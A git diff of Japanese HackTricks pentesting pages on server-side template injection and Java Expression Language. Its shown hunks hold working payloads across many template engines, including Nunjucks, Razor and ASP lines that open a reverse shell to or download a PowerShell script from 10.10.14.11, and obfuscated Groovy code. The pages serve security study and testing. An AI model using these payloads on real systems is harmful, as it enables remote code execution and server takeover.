ELは、プレゼンテーション層(Webページ)がアプリケーションロジック(管理されたBean)と通信するための重要なメカニズムを提供します。ELは、JavaServer Facesテクノロジー、JavaServer Pages(JSP)テクノロジー、およびJava EEのContexts and Dependency Injection for Java EE(CDI)など、**いくつかのJavaEEテクノロジー**で使用されています。\
|
||||
**ELインタプリタの悪用**について詳しく学ぶには、次のページをチェックしてください:
|
||||
Expression Language (EL)は、JavaEEにおいてプレゼンテーション層(Webページなど)とアプリケーションロジック(管理されたBeanなど)との間の相互作用を容易にする基本的な機能です。これは、このコミュニケーションを効率化するために、複数のJavaEEテクノロジー全体で広く使用されています。ELを利用する主要なJavaEEテクノロジーには次のものがあります:
|
||||
|
||||
- **JavaServer Faces (JSF)**: ELを使用して、JSFページ内のコンポーネントを対応するバックエンドデータやアクションにバインドします。
|
||||
- **JavaServer Pages (JSP)**: JSPではELが使用され、JSPページ内のデータへのアクセスや操作が行われ、ページ要素をアプリケーションデータに接続しやすくなります。
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、Web層と管理されたBeanとの間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。
|
||||
|
||||
ELインタプリタの**悪用**について詳しく学ぶには、次のページをチェックしてください:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
[el-expression-language.md](el-expression-language.md)
|
||||
|
@ -424,7 +380,7 @@ ELは、プレゼンテーション層(Webページ)がアプリケーショ
|
|||
|
||||
### Groovy (Java)
|
||||
|
||||
次のセキュリティマネージャーバイパスは、この[**解説記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
|
||||
以下のセキュリティマネージャーバイパスは、この[**解説記事**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)から取得されました。
|
||||
```java
|
||||
//Basic Payload
|
||||
import groovy.*;
|
||||
|
@ -451,12 +407,13 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
```
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントの1つであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
```php
|
||||
{$smarty.version}
|
||||
|
@ -514,14 +471,14 @@ array("first_name" => $user.first_name)
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig(Sandboxed)セクションを参照してください。
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のTwigとTwig(Sandboxed)セクション
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
|
||||
|
||||
### Plates(PHP)
|
||||
|
||||
PlatesはTwigに触発されたが、コンパイルされたテンプレートエンジンではなく、ネイティブのPHPテンプレートエンジンです。
|
||||
PlatesはPHP固有のテンプレートエンジンで、Twigからインスピレーションを受けています。ただし、新しい構文を導入するTwigとは異なり、PlatesはテンプレートでネイティブなPHPコードを活用し、PHP開発者にとって直感的です。
|
||||
|
||||
controller:
|
||||
Controller:
|
||||
```php
|
||||
// Create new Plates instance
|
||||
$templates = new League\Plates\Engine('/path/to/templates');
|
||||
|
@ -529,7 +486,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
// Render a template
|
||||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
ページのテンプレート:
|
||||
ページのテンプレート:
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
||||
|
@ -547,9 +504,12 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
**詳細**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib と HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib と同じで、Pear にポーティングされています。
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) は PHPlib と同じで、Pear に移植されています。
|
||||
|
||||
`authors.tpl`
|
||||
```html
|
||||
|
@ -577,15 +537,15 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
|
|||
|
||||
### Description
|
||||
|
||||
Server-Side Template Injection (SSTI) occurs when an application allows user input to be evaluated by the server as a template. This can result in potential remote code execution.
|
||||
Server-Side Template Injection (SSTI) occurs when an application allows user input without proper sanitization in a template. This can lead to an attacker injecting template directives that can execute arbitrary code on the server.
|
||||
|
||||
### Exploitation
|
||||
|
||||
To exploit SSTI, an attacker can inject template code into user input fields, leading to the server processing and executing the injected code.
|
||||
To exploit SSTI, an attacker can inject template directives that can execute code on the server. This can lead to data exfiltration, server takeover, and other serious consequences.
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent SSTI, avoid directly evaluating user input as templates on the server side. Use safe templating engines and sanitize user input before processing it.
|
||||
To prevent SSTI, always validate and sanitize user input before using it in templates. Use a safe templating engine and avoid using user input directly in templates without proper validation.
|
||||
```php
|
||||
<?php
|
||||
//we want to display this author list
|
||||
|
@ -617,7 +577,8 @@ $t->parse('authorline_ref', 'authorline', true);
|
|||
echo $t->finish($t->parse('OUT', 'authors'));
|
||||
?>
|
||||
```
|
||||
### Jade (NodeJS)
|
||||
**詳細**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
### Jade (NodeJS)
|
||||
```javascript
|
||||
|
@ -632,7 +593,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
```
|
||||
**詳細情報**
|
||||
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションにあります。
|
||||
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)のJadeセクションを参照してください。
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
@ -649,6 +610,9 @@ Hello {NAME}.<br/>
|
|||
</patTemplate:tmpl>
|
||||
</patTemplate:tmpl>
|
||||
```
|
||||
**詳細**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
パストラバーサル(詳細は[こちら](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)を参照)。
|
||||
|
@ -682,7 +646,7 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":
|
|||
URLencoded:
|
||||
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
|
||||
|
||||
|
@ -690,8 +654,8 @@ URLencoded:
|
|||
|
||||
| **テンプレート** | **説明** |
|
||||
| ------------ | --------------------------------------- |
|
||||
| | 出力を評価してレンダリングする |
|
||||
| | HTMLエンコードされた出力を評価してレンダリングする |
|
||||
| | 評価して出力をレンダリングする |
|
||||
| | 評価してHTMLエンコードされた出力をレンダリングする |
|
||||
| | コメント |
|
||||
| and | コードを許可(デフォルトでは無効) |
|
||||
|
||||
|
@ -720,7 +684,7 @@ URLencoded:
|
|||
var pugjs = require('pug');
|
||||
home = pugjs.render(injected_page)
|
||||
```
|
||||
**詳細**
|
||||
**詳細情報**
|
||||
|
||||
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
|
||||
|
||||
|
@ -734,7 +698,7 @@ home = pugjs.render(injected_page)
|
|||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
|
||||
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
|
||||
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
|
||||
|
||||
|
@ -771,7 +735,7 @@ home = pugjs.render(injected_page)
|
|||
|
||||
### Python
|
||||
|
||||
Pythonで**砂箱をバイパスして任意のコマンドを実行するトリック**について学ぶには、以下のページをチェックしてください:
|
||||
Pythonでの**砂箱をバイパスして任意のコマンドを実行するトリック**について学ぶには、以下のページをチェックしてください:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -793,20 +757,17 @@ Pythonで**砂箱をバイパスして任意のコマンドを実行するトリ
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
**詳細情報**
|
||||
**詳細**
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
[公式ウェブサイト](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスです。
|
||||
> Jinja2はPython向けのフル機能のテンプレートエンジンです。完全なUnicodeサポート、オプションの統合された砂箱実行環境、広く使用されておりBSDライセンスが適用されています。
|
||||
|
||||
* `{{7*7}} = エラー`
|
||||
* `${7*7} = ${7*7}`
|
||||
|
@ -825,9 +786,6 @@ Pythonで**砂箱をバイパスして任意のコマンドを実行するトリ
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -864,6 +822,8 @@ Pythonで**砂箱をバイパスして任意のコマンドを実行するトリ
|
|||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
他のペイロードは[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)にあります。
|
||||
|
||||
### Mako (Python)
|
||||
```python
|
||||
<%
|
||||
|
@ -872,6 +832,9 @@ x=os.popen('id').read()
|
|||
%>
|
||||
${x}
|
||||
```
|
||||
**詳細情報**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
* `@(2+2) <= 成功`
|
||||
|
@ -883,9 +846,9 @@ ${x}
|
|||
* `@(1+2)`
|
||||
* `@( //C#Code )`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcw0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBCAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は、[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) で見つけることができます。
|
||||
.NETの`System.Diagnostics.Process.Start`メソッドを使用して、サーバー上で任意のプロセスを開始し、Webシェルを作成できます。脆弱なWebアプリの例は[https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)で見つけることができます。
|
||||
|
||||
**詳細情報**
|
||||
|
||||
|
@ -898,7 +861,7 @@ ${x}
|
|||
* `<%= "foo" %>` = foo
|
||||
* `<%= foo %>` = Nothing
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
```bash
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
**詳細**
|
||||
|
@ -917,33 +880,29 @@ ${x}
|
|||
```
|
||||
### GOにおけるSSTI
|
||||
|
||||
バックエンドで使用されているテンプレートエンジンがGoであることを確認する方法は、次のペイロードを使用できます:
|
||||
Goのテンプレートエンジンでは、特定のペイロードを使用してその使用を確認できます:
|
||||
|
||||
- `{{ . }}` = テンプレートに渡されるデータ構造
|
||||
- 渡されたデータが例えばPassword属性を含むオブジェクトである場合、前述のペイロードはそれを漏洩させますが、`{{ .Password }}`のようにもできます
|
||||
- `{{printf "%s" "ssti" }}` = 応答に文字列sstiを出力するはずです
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}` = これらは、"js"や"html"といった後続する単語なしに文字列"ssti"を出力するいくつかの他のペイロードです。エンジンでさらにキーワードを参照できます[こちら](https://golang.org/pkg/text/template)。
|
||||
- `{{ . }}`: データ構造の入力を表示します。たとえば、`Password`属性を持つオブジェクトが渡された場合、`{{ .Password }}`でそれを公開できます。
|
||||
- `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されています。
|
||||
- `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示については、Goのドキュメント[こちら](https://golang.org/pkg/text/template)を参照してください。
|
||||
|
||||
**XSSの悪用**
|
||||
|
||||
サーバーが**text/template**パッケージを使用している場合、**単純に**ペイロードを入力として提供することでXSSを簡単に達成できます。ただし、それは**html/template**の場合ではありません。応答をHTMLエンコードします:`{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
|
||||
ただし、Goでは**テンプレート全体を定義してから後で呼び出す**ことができます。ペイロードは次のようになります:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
`text/template`パッケージを使用すると、XSSを直接挿入することで簡単に行うことができます。一方、`html/template`パッケージはこれを防ぐために応答をエンコードします(たとえば、`{{"<script>alert(1)</script>"}}`は`<script>alert(1)</script>`となります)。ただし、Goでのテンプレートの定義と呼び出しはこのエンコーディングをバイパスできます:
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
|
||||
**RCEの悪用**
|
||||
|
||||
html/templateモジュールとtext/templateモジュールのドキュメントは[こちら](https://golang.org/pkg/html/template/)で見つけることができ、はい、かなり異なります。例えば、**text/template**では、「call」値を使用して**任意の公開関数を直接呼び出す**ことができますが、**html/template**ではそうではありません。
|
||||
RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールでは、任意の公開関数を直接呼び出すことができます("call"値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは[html/templateの場合こちら](https://golang.org/pkg/html/template/)、[text/templateの場合こちら](https://golang.org/pkg/text/template/)で利用できます。
|
||||
|
||||
GoでSSTIを介してRCEを見つけたい場合、テンプレートに渡されたオブジェクトに`{{ . }}`でアクセスできるように、**オブジェクトのメソッドを呼び出す**こともできます。したがって、渡されたオブジェクトにSystemというコマンドを実行するメソッドがあると想定すると、`{{ .System "ls" }}`で悪用できます。\
|
||||
したがって、おそらく**ソースコードが必要**になります。そのようなものの潜在的なソースコードは次のようになります:
|
||||
GoにおけるSSTIを介したRCEにおいて、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトに`System`メソッドがコマンドを実行する場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように:
|
||||
```go
|
||||
func (p Person) Secret (test string) string {
|
||||
out, _ := exec.Command(test).CombinedOutput()
|
||||
return string(out)
|
||||
}
|
||||
```
|
||||
**詳細情報**
|
||||
**さらなる情報**
|
||||
|
||||
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
|
||||
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
|
||||
|
@ -965,27 +924,24 @@ return string(out)
|
|||
|
||||
## ツール
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/TInjA" %}
|
||||
|
||||
{% embed url="https://github.com/vladko312/sstimap" %}
|
||||
|
||||
{% embed url="https://github.com/epinna/tplmap" %}
|
||||
|
||||
{% embed url="https://github.com/Hackmanit/template-injection-table" %}
|
||||
* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
|
||||
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
|
||||
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
|
||||
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
|
||||
|
||||
## ブルートフォース検出リスト
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## 練習&参考
|
||||
## 練習と参考文献
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
|
||||
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -995,10 +951,10 @@ return string(out)
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,47 +1,48 @@
|
|||
# EL - 式言語
|
||||
# EL - Expression Language
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォロー[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
ELは、プレゼンテーション層(Webページ)とアプリケーションロジック(管理されたBean)の間で通信を可能にする重要なメカニズムを提供します。
|
||||
Expression Language (EL) は、JavaEEにおいてプレゼンテーション層(例:Webページ)とアプリケーションロジック(例:管理されたBean)を結びつけ、それらの相互作用を可能にするために不可欠です。主に以下で使用されます:
|
||||
|
||||
### どこで使用されていますか?
|
||||
- **JavaServer Faces (JSF)**:UIコンポーネントをバックエンドデータ/アクションにバインドするために使用されます。
|
||||
- **JavaServer Pages (JSP)**:JSPページ内でのデータアクセスと操作に使用されます。
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**:Web層と管理されたBeanの相互作用を容易にするために使用されます。
|
||||
|
||||
1. **Spring Framework**:セキュリティ、データなど
|
||||
2. **SpEL API**を使用する開発者が使用する場所
|
||||
3. 言語によっては、Java、Kotlin、Scala、および他のJVMベースのテクノロジーで使用できます。
|
||||
**使用コンテキスト**:
|
||||
|
||||
ELは、JavaServer Facesテクノロジー、JavaServer Pages(JSP)テクノロジー、およびJava EEのコンテキストと依存性の注入(CDI)など、**いくつかのJavaEEテクノロジー**で使用されます。ELはスタンドアロン環境でも使用できます。
|
||||
- **Spring Framework**:セキュリティやデータなどのさまざまなモジュールで使用されます。
|
||||
- **一般的な使用**:Java、Kotlin、ScalaなどのJVMベースの言語で、開発者がSpEL APIを介して使用します。
|
||||
|
||||
Javaアプリケーションは、**.jsp**や**.jsf**のような拡張子を使用し、**スタックエラー**をスローし、**ヘッダー**で**「Serverlet」という用語**を使用するため、**簡単に識別**できます。
|
||||
ELはJavaEEテクノロジ、スタンドアロン環境に存在し、`.jsp`または`.jsf`のファイル拡張子、スタックエラー、およびヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
**ELのバージョン**によっては、一部の**機能**が**オン**または**オフ**になる場合があり、通常は一部の**文字**が**許可されない**場合があります。
|
||||
